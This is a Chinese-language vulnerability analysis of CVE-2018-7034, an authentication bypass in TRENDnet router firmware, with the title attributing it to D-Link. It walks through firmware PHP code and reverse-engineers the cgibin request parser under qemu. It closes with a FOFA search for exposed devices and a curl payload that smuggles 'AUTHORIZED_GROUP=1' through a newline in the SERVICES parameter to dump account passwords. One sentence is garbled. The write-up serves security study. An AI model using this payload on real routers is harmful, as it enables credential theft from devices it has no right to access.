D-Link 登录信息泄露(越权)CVE-2018-7034 漏洞分析
Description
TRENDnet TEW-751DR v1.03B03, TEW-752DRU v1.03B01, and TEW733GR v1.03B01 devices allow authentication bypass via an AUTHORIZED_GROUP=1 value, as demonstrated by a request for getcfg.php.
TRENDnet TEW-751DR v1.03B03、TEW-752DRU v1.03B01 和 TEW733GR v1.03B01 设备允许通过 AUTHORIZED_GROUP=1 值绕过身份验证,如 getcfg.php 请求所示。
0x01 漏洞定位
漏洞组件在/htdocs/web/getcfg.php
HTTP/1.1 200 OK
Content-Type: text/xml<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";if ($_POST["CACHE"] == "true")
{echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{if($AUTHORIZED_GROUP < 0){/* not a power user, return error message */echo "\t<result>FAILED</result>\n";echo "\t<message>Not authorized</message>\n";}else{/* cut_count() will return 0 when no or only one token. */$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);$SERVICE_INDEX = 0;while ($SERVICE_INDEX < $SERVICE_COUNT){$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);if ($GETCFG_SVC!=""){$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";/* GETCFG_SVC will be passed to the child process. */if (isfile($file)=="1") dophp("load", $file);}$SERVICE_INDEX++;}}
}
?></postxml>
如果可以使 A U T H O R I Z E D G R O U P > = 0 ,这一部分 AUTHORIZED_GROUP >= 0,这一部分 AUTHORIZEDGROUP>=0,这一部分file的值可控,导致可以任意加载路径在/htdocs/webinc/getcfg
目录下,且后缀是.xml.php
的文件
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);if ($GETCFG_SVC!=""){$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";/* GETCFG_SVC will be passed to the child process. */if (isfile($file)=="1") dophp("load", $file);}
找到这么多
$ find ./ -name '*.xml.php'
./RUNTIME.LOG.xml.php
./INET.WAN-5.xml.php
./DDNS4.WAN-1.xml.php
./RUNTIME.INF.LAN-1.xml.php
./SHAREPORT.xml.php
./PHYINF.WIFI.xml.php
./WEBACCESS.xml.php
......
其中:/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php泄露了账号密码
<module><service><?=$GETCFG_SVC?></service><device>
<?
echo "\t\t<gw_name>".query("/device/gw_name")."</gw_name>\n";
?><account>
<?
$cnt = query("/device/account/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/account/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/account/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
foreach("/device/account/entry")
{if ($InDeX > $cnt) break;echo "\t\t\t<entry>\n";echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";echo "\t\t\t\t<name>". get("x","name"). "</name>\n";echo "\t\t\t\t<usrid>". get("x","usrid"). "</usrid>\n";echo "\t\t\t\t<password>". get("x","password")."</password>\n";echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";echo "\t\t\t\t<description>".get("x","description")."</description>\n";echo "\t\t\t</entry>\n";
}
?> </account><group>
<?
$cnt = query("/device/group/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/group/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/group/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
$b = "/device/group/entry";
function gen_member($s,$p)
{$cnt = query($p."/count");echo $s."<member>\n";echo $s."\t<seqno>".query($p."/seqno")."</seqno>\n";echo $s."\t<max>".query($p."/max")."</max>\n";echo $s."\t<count>".$cnt."</count>\n";foreach($p."/entry"){if ($InDeX > $cnt) break;echo $s."\t<entry>\n";echo $s."\t\t<uid>". get("x","uid"). "</uid>\n";echo $s."\t\t<name>". get("x","name"). "</name>\n";echo $s."\t</entry>\n";}echo $s."</member>\n";
}
foreach($b)
{if ($InDeX > $cnt) break;echo "\t\t\t<entry>\n";echo "\t\t\t\t<uid>". get("x","uid"). "</uid>\n";echo "\t\t\t\t<name>". get("x","name"). "</name>\n";echo "\t\t\t\t<gid>". get("x","gid"). "</gid>\n";gen_member("\t\t\t\t", $b.":".$InDeX."/member");echo "\t\t\t</entry>\n";
}
?> </group><session>
<?echo dump(3, "/device/session");
?> </session></device>
</module>
那么现在的问题在于,如何使得$AUTHORIZED_GROUP>=0呢?找一找相关的文件
$ grep -ra 'AUTHORIZED_GROUP'
squashfs-root/htdocs/web/DevInfo.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/getcfg.php: if($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/log_get.php:if ($AUTHORIZED_GROUP==0)
squashfs-root/htdocs/web/dlnastate.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/diagnostic.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wpsstate.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wpsacts.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/session_act.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/check.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/sitesurvey.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/check_stats.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/js/postxml.js: self.AuthorizedGroup = xml.Get("/report/AUTHORIZED_GROUP");
squashfs-root/htdocs/web/log_clear.php:if ($AUTHORIZED_GROUP==0)
squashfs-root/htdocs/web/wandetect.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/ddns_act.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wifi_stat.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/routing_stat.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/firmversion.php:if ($AUTHORIZED_GROUP < 0)
squashfs-root/htdocs/web/wiz_freset.php:if(query("/runtime/device/devconfsize")=="0") $AUTHORIZED_GROUP = 0;
squashfs-root/htdocs/cgibin: <AUTHORIZED_GROUP>%d</AUTHORIZED_GROUP>
squashfs-root/htdocs/cgibin:application/audio/example/image/message/model/multipart/text/video/read_ct_videoread_ct_textread_ct_multipartread_ct_modelread_ct_messageread_ct_imageread_ct_exampleread_ct_audioread_ct_applicationSystem rebootUpgrade firmware successFail to write file!Image file is not acceptable. Please check download version is rightFail to get the file, please check the IP address and check the file name::ffff:Web login success from %sWeb login failure from %sWeb logout from %s_POST__FILES_N/A_FILETYPES__GET__SERVER_REQUEST_METHODHEADGETPOST/htdocs/web/info.php/info.phpFAILERR_REQ_TOO_LONGunsupported HTTP requestAUTHORIZED_GROUP=%dSESSION_UID=sobj_new() error!ERR_NO_FILEr+ERR_FOPEN_FAILsignature=_aLpHaERR_INVALID_SEAMAERR_SEAMA_META_TOO_LARGEERR_SEAMA_CHECKSUM_ERRERR_SEAMA_META_ERRnoheader=1type=type=firmwaretype=devconfdev=/dev/mtdblock/2/var/config.xml.gzdevconf put -f /var/config.xml.gz%lu/var/session/configsize/var/firmware.seama/var/session/imagesizeERR_INVALID_FILE/etc/config/image_signPELOTA_REPORT/dlcfg.cgiREPORT_METHODhttp://HTTP_HOSTSERVER_PORT80HTTP_REFERERDELAYERR_UNAUTHORIZED_SESSIONERR_READ_SIGN_FAILSUCCESS/var/run/fwseama.lockpreupdate:%d:event PREFWUPDATEERR_ANOTHER_FWUP_PROGRESS/etc/scripts/dlcfg_hlper.sh/htdContent-Disposition: attachment; filename="%s"
squashfs-root/htdocs/webinc/templates.php: if (isfile("/htdocs/webinc/js/".$TEMP_MYNAME.".php")==1 && $AUTHORIZED_GROUP >= 0)
squashfs-root/htdocs/webinc/templates.php: var AUTH = new Authenticate(<?=$AUTHORIZED_GROUP?>, <?echo query("/device/session/timeout");?>);
squashfs-root/htdocs/webinc/templates.php: var PAGE = <? if (isfile("/htdocs/webinc/js/".$TEMP_MYNAME.".php")==1 && $AUTHORIZED_GROUP>=0) echo "new Page();"; else echo "null;"; ?>
squashfs-root/htdocs/webinc/templates.php: if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php: if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php: if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/templates.php: if (isfile("/htdocs/webinc/body/".$_GLOBALS["TEMP_MYNAME"].".php")==1 && $AUTHORIZED_GROUP>=0)
squashfs-root/htdocs/webinc/js/info.php: //TRACE_error("AUTHORIZED_GROUP=".$_GET["AUTHORIZED_GROUP"]);
这里面有两个给$AUTHORIZED_GROUP赋值的地方,一个是在/htdocs/web/wiz_freset.php,另一个是在/htdocs/cgibin。
先看/htdocs/web/wiz_freset.php,通过注释可以知道,只有是默认出厂状态时才会无需登录给$AUTHORIZED_GROUP赋值为0。
<?
/* Enter wizard without login when it is factory default.*/
if(query("/runtime/device/devconfsize")=="0") $AUTHORIZED_GROUP = 0;$TEMP_MYNAME = "wiz_freset";
$TEMP_MYGROUP = "";
$TEMP_STYLE = "simple";
include "/htdocs/webinc/templates.php";
?>
0x02 逆向分析
下面来分析/htdocs/cgibin,也就是真正实现绕过的地方
cgibin的main函数中调用了phpcgi_main函数
跟进phpcgi_main函数
sobj_new();创建了一个结构体,用于存放之后解析出来的各个字段。sobj_add_string(_DWORD *a1, const char *s)是将s添加到前面定义的结构体中。sobj_add_string(v7, *(_DWORD *)(a2 + 4))
将 (a2 + 4)
(即第一个命令行参数argv[1])存入这个结构体。
下面启动qemu来动态调试
sudo cp /usr/bin/qemu-mipsel-static ./usr/bin/ sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -g 1234 ./usr/sbin/phpcgi phpcgi 123
在sobj_add_string处下一个断点
可以看到成功载入了phpcgi(传入的第一个参数)
下面27-32行是一个循环
33-48行这部分代码先判断了 REQUEST_METHOD
的值,HEAD
或 GET
将 sub_405CF8
函数指针赋值给 v11
,POST
则将 sub_405AC0
函数指针赋值给 v11
然后就会进入cgibin_parse_request函数中,对url做进一步处理,解析REQUEST_URL中’?'(ASCII 63)后面的部分,把类似?arg1=aaa&arg2=bbbb的部分做url解码(经过sub_403864函数)后,将键值存到结构体中。
这里要注意的是,如果REQUEST_URL不存在,将直接返回-1,传到到main函数里,会导致整个程序退出。所以qemu的语句里要加上-E REQUEST_URL=hhh?arg1=xxxx
sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_URL="hhh?arg1=xxxx" -g 1234 ./usr/sbin/phpcgi phpcgi 123
回到cgibin_parse_request中,这里还需要添加CONTENT_TYPE和CONTENT_LENGTH到环境变量中,更新一下qemu启动语句
[注意:CONTENT_LENGTH
必须要严格和输入的数据长度一样]
sudo chroot . ./usr/bin/qemu-mipsel-static -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH="4096" -E REQUEST_URL="hhh?arg1=xxxx" -g 1234 ./usr/sbin/phpcgi phpcgi 123
继续,我们想执行到第 38
行的指针,需要通过 strncasecmp
函数的检测,进行字符串比较,两个字符串v9和v14相同才能进入判断。
这部分可以详细看一下啥意思,把已知的变量名改了
return ((int (__fastcall *)(int, int, unsigned int, char *))(&off_433014)[3 * v11 - 1])(a1,a2,content_len,&content_type[n]);}
1、(int (__fastcall *)(int, int, unsigned int, char *))
这部分定义了一个函数指针类型,具体含义如下:
int
:表示该函数返回一个int
类型的值。__fastcall
:这是调用约定(calling convention),表示函数参数通过寄存器传递(而不是栈)。(int, int, unsigned int, char *)
:表示该函数接受四个参数
2、(&off_433014)[3 * v11 - 1]
这部分是关键,用于从off_433014中提取一个函数指针。我们可以逐步拆解:
&off_433014
:取off_433014的地址,可能是一个函数指针数组的首地址。[3 * v11 - 1]
:对off_433014进行索引操作,索引值为3 * v11 - 1。
所以整体的逻辑就是程序首先从环境变量中获取请求的 CONTENT_LENGTH(存储在变量 v7
中)和 CONTENT_TYPE(存储在变量 v9
中)。接下来,它利用一个循环遍历一个以 off_433014
为起始地址的数组。这个数组组织为以 3 个元素为一组的三元组,通常每个三元组包含:
- 内容类型前缀字符串(例如
"application/json"
的"application/"
部分) - 该字符串的长度(用于比较时的前缀长度)
- 处理该类型的回调函数指针
循环中,变量 v11
记录当前是第几个三元组。对每个三元组,程序比较环境变量 CONTENT_TYPE
(存放在 v9
中)与当前三元组中的内容类型前缀(字符串和其长度 n
)是否匹配(使用不区分大小写的比较函数 strncasecmp
)。一旦匹配,就说明当前请求的 CONTENT_TYPE 属于这一类,那么接下来的处理就由对应的回调函数来完成。
在off_433014这里,ida没有识别出来这是地址,手动操作一下,就得到了函数名sub_40445C
下面是sub_40445C,匹配的是CONTENT_TYPE=“application/x-www-form-urlencoded”
int __fastcall sub_40445C(int a1, int a2, int a3, const char *a4)
{if ( !strncasecmp(a4, "x-www-form-urlencoded", 0x15u) )return sub_403A0C(a1, a2, a3);sub_4033E8(a3);sub_4040E0("read_ct_application", a4);return -1;
}
跟进sub_403A0C,里面有一个read
函数,我们POST
请求的内容也就是从这里读进去的
然后进入sub_403864函数
这里就是payload中%0a的来源,%0a被解析成了\n
下面这里的v9就是cgibin_parse_request的第一个参数,作为了函数地址,sub_405AC0
再看 sub_405AC0
函数,开始的 if(*a2)
是 0
,直接看 else
部分
首先是往 a1
里面添加了字符串 _POST_
(这个 a1
是之前一直存放解析各种数据的结构体)
接着 sobj_add_string((_DWORD *)a1, v5)
向 a1
里面添加了 POST
内容(也就是 read
读入的数据)中 =
前面的部分
随后又向 a1
里写入了 =
和 =
后半部分以及 \n
,就不再赘述了。这个函数执行完毕后,就把 POST
报文的内容给按照一定格式解析写到了内存里
0x03 漏洞复现
fofa搜索"tew-751dr"
curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1” http://[ip]/getcfg.php
参考链接
https://research.checkpoint.com/2017/good-zero-day-skiddie/
https://cn-sec.com/archives/3690438.html
https://zikh26.github.io/posts/5f982ad5.html